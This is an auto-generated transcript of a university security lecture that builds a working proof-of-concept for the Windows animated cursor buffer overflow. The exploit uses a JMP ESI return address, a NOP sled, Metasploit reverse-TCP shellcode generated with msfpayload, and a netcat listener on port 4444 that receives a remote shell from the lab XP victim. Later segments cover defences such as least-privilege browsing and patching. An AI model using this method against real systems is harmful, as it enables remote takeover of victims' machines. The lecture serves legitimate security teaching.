

Animated Cursor Vulnerability - Proof of Concept - II

Module 17

Duration: 28:11

Video: <https://www.youtube.com/watch?v=DhclJc4adPk>

Course Coordinator - Dr Maninder Singh, Professor and Dean, Academic Affairs, Thapar University, Patiala

Subject Expert - Dr Maninder Singh, Professor and Dean, Academic Affairs, Thapar University, Patiala

Auto-generated YouTube transcript for personal study. Spoken wording belongs to the original lecture. Follow the video link above; this file is not an official CEC/SWAYAM publication.

0:01 1 second hello class I hope you enjoyed the previous session on animated cursor vulnerability and as we were discussing

0:09 we left in a mid part where we were trying to figure out the address in the memory which can get pointed to EIP so

0:17 today we are going to start with the same lecture and we are going to extend it to a level where we will be able to

0:25 put a malicious code inside animated curs vulnerability and which will eventually allow

0:33 us to capture somebody else's machine and this

0:39 is the beauty of buffer overflow where a remote machine can get accessed through

0:46 a malicious web page now let's start again and we are going to restart our Internet Explorer so that we can

0:56 have access to a web page which is hosted animated cursor so as you know we are pointing to

1:04 an address HTTP colon sl/ 192.168 72.1 128.

1:16 HTML and once I point here you see my EIP is pointing to address 4242

1:24 4242 which is primarily part of my buffer of animated C

1:31 person now I need to first of all figure out where that whole buffer is in the memory because memory contains so many

1:39 dll files along with my program now if I go into each and every

1:47 register let's start with register eex and I right click here so it doesn't allow me to get into the memory because

1:55 it is also pointing to address which is out of scope for for my application now if I go to ECX register

2:05 this ECX register is pointing to a memory of ntdll which is again not part of my program so buffer cannot be there

2:14 so now we go to edx register right click here and say follow in Dum now once I see in

2:22 Dum I didn't find my buffer even here so that means my buffer is not even available

here so if I go to the first

2:29 first four bytes right click and say follow double word in the dump why I'm doing so because if you remember in the

2:38 previous class I told you the size of animated cursor it depends that what kind of Animation the developer has

2:45 built in if the animation is pretty large the size of this particular animated cursor file will be large and

2:54 in in that case I need to take the memory either from a using a malloc function or a dynamic

3:03 memory allocation need to get happened that means the memory will be pointing to some other memory and at that memory

3:11 location my buffer may be there so that's why I'm going to follow a pointer to pointer so follow this double word in

3:19 dump when I click here still I'm not able to get this address and it is going to point to some other address which is

3:27 77 FC 5340 that means this address is not from my memory this is a high memory area

3:34 address that means it may belong to some other dll file the next comes ebx if I

3:41 go and follow ebx but it is pointing to address which is 000000 so it it can also not contain my

3:49 buffer so I go to ESP and say follow this in Dump and again I try to figure

3:56 out but I am not able to get buffer even from the this register so this is hit and trial method there is no particular

4:04 direction which is available at this point of time in order to find out where my buffer is in the memory so let's now

4:12 go to EBP EBP also points 00 so no point in exploring this also so I go to ESI

4:19 register which is a source index register so when I follow this in dump I find it is pointing to another address

4:27 0000 8501 let's select this and follow this double word in

4:34 memory and wow I got my buffer so that means my buffer is indirectly getting pointed by ESI

4:43 register so in order to reach to my buffer I need a instruction which will be jump double word

4:51 ESI that means there should be a address of instruction which will primarily take me to the start of my buffer and from

4:59 that Point onwards I can start executing bite by bite of a buffer and finally reach my malicious

5:06 code now in this respect what we have done here I'm going to note it down that

5:14 ESI register is more critical for me so I'm going to open another tab where I'm

going to explore click on this e part

5:22 that mean these dll files are available in memory so I search for user 32

5:30 and double click on this so I am in a user 32 memory area so I'm going to search for a

5:38 command and this command is Jump double word ESI so when I find

5:45 this I find a address in a memory and that address is 77 d22 c0 so I'm going

5:52 to make a note of this address so I open up a notepad and make note of this address and this address is 7

6:00 7 d8 22 c0 so this is address of

6:11 jump double word ESI that means instead of that 42 42 42

6:21 42 if I now point to 77 d8 22 c0 that

6:28 means actually my EIP is going to execute this instruction and when I execute this instruction what will

6:35 happen this is going to take me to my buffer and when I am in by my buffer

6:42 I'll be able to take control of a system so we are going to replace this

6:48 42 42 42 with this address but here we need to understand One More Concept and

6:56 that concept is little andian format and big andian format so whenever a data is getting transmitted from

7:04 a host machine to the network and back from Network the host the conversion

7:10 need to be taken place from Network bite order to host bite

7:19 order host bite order so actually what happens in host bite order whatever is represented by

7:28 MSB that is the most significant bit it is reverse in case of network by order that means whatever address is available

7:37 to me I have to write that address in a reverse order so that it gets executed so this address which I have noted here

7:45 77 d8 22 c0 it need to be written like c022 d8 77 in

7:52 the demo. file so let's open up that file and replace this address so we are

7:59 going to hex edit it so hex edit demo and I'm going to replace this address here so I'll say it is

8:07 c0 and uh 22 d8 77 22 d8

8:16 77 so this address has got replaced now if I save this file and come back to my

8:25 XP and restart my debugger so it's again going to pop up Internet

8:35 Explorer so before I type in address here I want to put a breakpoint in user32.dll

8:44 at the same address so that whenever I hit my iip hit that particular address

8:52 it should stop execution so I'll be able to see step by step what is happening in

8:58 memory so I search for again the same command and I found that 77 d22 c0 so

9:06 I'm going to press f2 here in order to put a break point so this this particular line

goes red that mean there

9:13 is a break point on this line so now I'll again come back to my Internet Explorer
9:20 browser and open up the said IP address HTTP colon 192 exp. HTML
9:29 so when now when I open see what happens here I have hit a break point you read
9:36 this line it says breakpoint at user 3277 da22 c0 that means precisely I have
9:44 reached that location where jump instruction is there and my EIP is now pointing to
that instruction so EIP is
9:53 pointing to 77 d8 22 c0 now if I execute this instruction see what is going to
9:59 happen if I say F7 here so I have taken to my buffer so that means my buffer is
10:07 going to now get executed now let's do it step by step F7 F7 F7 F7 now I reach the
instruction where it says e16 as you
10:16 remember in the previous class I told you this is a short jump and this short jump is
going to take me to some other Island and from that other Island I'm
10:25 going to end up into my buffer so I press F7 again so it takes me to e77 so
10:32 e77 is going to take me to the start of my buffer now here I have written
10:38 instead of 43 43 43 43 I type 90 90 90 90 so this 90 is basically a no
10:45 operation so that mean the cycle gets executed by CPU but it is not going to do
anything so preferably whenever we
10:53 create exploits we see there are lots of many knobs which get introduced so that
we can smoothly land into our exploit so
11:01 11 minutes, 1 second now if I say F7 F7 F7 I'm now at start of my buffer that means
I can now append
11:10 this demo. file with a exploit and this exploit will get executed when we start
11:18 executing this flow of a program now let's do that there are two ways to now insert
Shell Code into a demo. file one
11:29 is is you start writing your own Shell Code so by the way what is Shell
11:35 Code this is a set of instruction which are going to allow me to pick up the
11:44 code and get executed on the remote machine that means this shell code is pretty
crucial so either I write my own
11:53 Shell Code which will be a big task or I can depend upon some rade shell codes so
I'm going to depend upon
12:02 rade shell codes and these are available from many Frameworks and one such
framework which we are going to utilize
12:09 in this course is called Metasploit framework this Metasploit framework has
12:17 n number of exploits available so we are going to use one of such exploits in order
to put that exploits in my demo.
12:27 file so that whenever a user executes a malicious web page his machine gets
compromised and his shell is thrown out

12:34 to me then because his shell is with me I'll be able to execute any instruction now in order to put a Shell

12:43 Code there are two things which we need to remember either we can bind a Shell Code which is called shell

12:51 binding or we can have a reverse shell binding reverse shell binding now these

13:01 13 minutes, 1 second two things we need to understand what is shell binding and what is reverse shell binding see each machine when it is on

13:09 the internet it has an IP address and through this IP address machine exposes an application to the

13:16 outside world and that happens with the help of a port address so that means in combination

13:25 with IP address we have port address now what I can do I can bind my command. exe

13:33 file with the IP address and port address of a machine now if I bind this this is called

13:41 binding that means I have binded my shell with the particular port number let's say I bind my shell with a port

13:49 number 444 so if from the outside world a user wants to access this port then he is

13:55 going to specify my IP address colon 44 4 that means he'll be able to access my shell code but on the other

14:04 hand wouldn't it be interesting that as an hacker I am waiting on my machine at my prompt and all of a sudden somebody

14:12 else's screen gets open on my desktop that would be a great thing to happen so this happens through

14:20 another method which is called reverse binding now reverse binding is that

14:27 somebody bind Ed his shell and he is sending that shell on a particular port number to my machine that means my

14:36 machine is available with IP address and port number which is a public IP and port number and this binded shell will

14:43 travel from that machine to my machine and this is called reverse binding so in this case we are going to utilize a

14:51 reverse binding stuff where I'll be able to catch hold of the Shell Code code

15:00 of the victims machine now how we are going to do that let's move back to

15:06 our Linux box and run a command here which is

15:13 called msf payload this will be available to you once you have installed mspl framework on your machine or you

15:22 can use it on a backtrack machine or a k Linux so K Linux and backtrack both have metas suppl frame work which is

15:30 available as part of a command so I run msf payload Ms F

15:38 payload and then I'm saying windows that means I need a shell code for Windows I say shell reverse TCP that means a

15:46 reverse Shell Code which I need and then I specify L host that is a local host which is my attacking

15:53 machine and I want that port to travel to me and at Port number

16:00 4444 in a raw format and I'm going to embed this particular raw format to demo. Ani file so I'll say demo.

16:11 Ani that mean this machine uh this Ms payload command msf payload command is going to generate a Shell Code by using

16:20 this command and embed this into my demo data file let's do that so when I press enter the code gets generated and it

16:29 will be automatically appended to my demo. Ani file now let's look at this newly constructed demo. Ani file so

16:38 we'll say hexit minus B demo.

16:43 Ani now see what happens all of a sudden there are lots of commands which have got entered into this so we were here

16:51 this is my c022 d8 77 you would be remembering this address this address is Jump double word SI and after that I

17:00 have no operation so that I can land smoothly into my shell code and from here fc8 the Shell Code starts and this Shell

17:09 Code goes up to D5 0 a that means starting from this

17:17 point till this point whatever got embedded into my file

17:25 is going to give me the shell of victim this is how we have embedded it now let's save this

17:33 file now go back to Windows machine and start the

17:43 debugger and make it run so as soon we run our Windows get open and I am going

17:50 to first of all put a breako on to user32.dll and I'm going to do this at an

17:59 address so I search for address come on jump double board ESI and put a

18:06 breakpoint here F2 now go back to my Explorer window and

18:13 try to open that malicious web page so I say HTTP colon

18:20 192 16872 128. exp. HTML when I press this I'm going to hit a break point as

18:29 usual you can see it is writing here breakpoint at user32 do that particular address which we got now we are going to

18:37 execute this so I press F7 so it takes me to my buffer so first four instruction 52 49 4646 then there is a

18:46 jump jump from one Island to another Island so eb16 it takes me to e77 which is next jump and it's going to

18:54 take me to no operations and after that if you see it is going to execute my shell now

19:01 19 minutes, 1 second before I execute a shell I'll go back to my Linux box and here I'm going to say netcat minus

19:11 lvp 4444 let's understand this command this is netcat this is utility and I say listen verbosely at

19:20 Port number 4444 that means when this program is going to get executed it is waiting for

19:28 somebody body to get connected at Port number 44 and this 44 Port is basically waiting

19:35 for somebody to give me a reverse connection back and that reverse connection is primarily of somebody who

19:43 visited my malicious website and this is how we are going to demonstrate this animated cursor

19:51 vulnerability now when I click it says it is listening on port number four4 and this guy

19:58 he executes his code and as he executes the whole of a

20:06 code and I am waiting I am waiting on this machine and this hopefully is going to

20:16 give me a shell and that shell will be of that particular machine which is remotely accessed wow as you can see I

20:24 got the shell from Windows that means on Linux box I got a shell of Windows machine and if I run any command if I

20:31 say IP config it shows me the configuration IP configuration of that machine now I am logged in as an

20:38 administrator here so this is another security thing which is being getting open to us and that security rule is

20:47 that whenever you are surfing internet kindly surf with a minimal privilege because if you are surfing with the

20:55 administrative privilege and somebody like this execute animated cursor or any other kind of a vulnerability he'll be

21:02 able to take hold of your machine and that will have an privilege of the logged in user now because I had logged

21:11 in as an administrator this guy got connected to my machine as an administrator now that means I have

21:20 conquered this machine by virtue of a animated cursor vulnerability which is primarily a buffer overflow which has

21:29 happened and over written some part in the memory now if I go back to this original machine that is a XP machine and I try

21:38 to open a command prompt here because I want to figure out what is happening on this machine I go here and say command

21:46 prompt and I say net startat minus a and more again the same command now you see it shows me a

21:55 established connection it says that there is a connection which is
22:01 22 minutes, 1 second established from 192 16872 to the 130 machine which got
initiated from port
22:09 number 1534 and it got connected to a foreign address 192 16872 128 at Port
22:17 number4 4 and this connection is in established state Now by looking at this I'll be
22:25 able to know that my machine is making a connection to some other port and this
guy has I don't know what he has done on
22:33 my machine but eventually as soon as I visited this particular URL my machine got
compromised and that is a very
22:41 dangerous situation for my machine even if I kill my Internet Explorer still this guy
has an access to my shell and
22:51 he can do anything whatever he wants to do on my shell now what could be the
other attack
22:59 Vector which may happen with this many a time you might have seen that you
people receive an email from somebody and in
23:05 that email he says that so and so Mr so and so you have won a lottery of let's say
\$100
23:14 million and being such an excited user because I got one \$100 million I used to
click on that link and that that link
23:23 there may be a implantation of this kind of a vulnerability so so whenever you are
clicking on that particular link you
23:31 are trying to access something on your own wish so no firewall in the world can
stop that from happening because this is
23:39 legitimate traffic which got initiated from yourself only so if we initiate any
connection to the outside world either
23:45 on HTTP or https usually most of the firewalls are allowing that traffic to happen
from your system and because of
23:54 that I end up in going to a malicious website and that malicious website may give
access to my shell code and
24:01 24 minutes, 1 second somebody may enjoy all the privileges on my machine and
this is what we have just demonstrated by using this proof of
24:10 concept now apart from this there are many other proof of Concepts which are
available now if you wish to see what
24:16 all vulnerabilities are available and how that exposure to those V vulnerabilities
may happen you may visit
24:24 this particular resource which is called cve miit .org so this particular URL if you
visit
24:33 it is going to list all kind of vulnerabilities which are available and these are for all
kind of operating it's

24:40 not that only Microsoft Windows is getting exposed all kind of operating system whether it's Linux or Mac or

24:47 Windows or any other uh customized operating system each and every operating system is some kind of

24:54 vulnerability lurking and if this vulnerability is not passed or you haven't applied a hot fix on that

25:01 25 minutes, 1 second we are going to be in a trouble and that trouble is it can be a remote code execution as I demonstrated it can be

25:10 just stealing of a data or it may be if that particular operating system sits on some scada kind of system so it may

25:19 actually compromise your critical infrastructure and throughout this course we are going to learn many more other

25:26 vulnerabilities which may get exp exposed because of this so we learned about uh buffer

25:34 overflow and we have seen a proof of concept and this proof of concept

25:41 was cv7 which was

25:48 animated cursor vulnerability and this exposes Windows XP Windows 2000 Windows Vista as was written in the advisory

25:58 which which was published on the website now as more or more of these vulnerabilities are in the market more

26:06 and more systems are getting affected so apart from three previously two things one was called

26:14 software another was called Hardware third one we called as that

26:21 firmware and finally we are now ending up with the fourth one which is called malware

26:29 now malware is a category which is basically a software which is going to do some damage to my

26:37 system and this is the next phase which is going to get started and many new terms are getting coined like we are now

26:45 saying previously we used to say advertisement now you say Mal advertisement that means malware related some advertisement which may come in the

26:53 market so throughout this course we are going to learn many more things about this is malwares and one such thing

27:00 which is very hot in the market these days is called crypto wall where the

27:07 people just encrypt everything every data on your system and then ask for some money so that they can open up that

27:16 system for you and this kind of a malware is called ransomware so we are going to talk about ransomware and we are going to talk

27:24 about crypto oil we are going to talk about viruses warm stroke throughout this course but for the time

27:31 being for this particular session I have explained you about cve animated cursor vulnerability and how to expose that

27:39 cursor vulnerability with the help of O dbg that is one of the debugger which we used and we use Internet Explorer and

27:47 the victim operating system was Windows XP now hope you understood this all apart from this within this course we

27:55 are going to talk more about about how to apply encryption into the systems and

28:03 that all part will be covered later on for the time being thank you very much for paying the attention thank you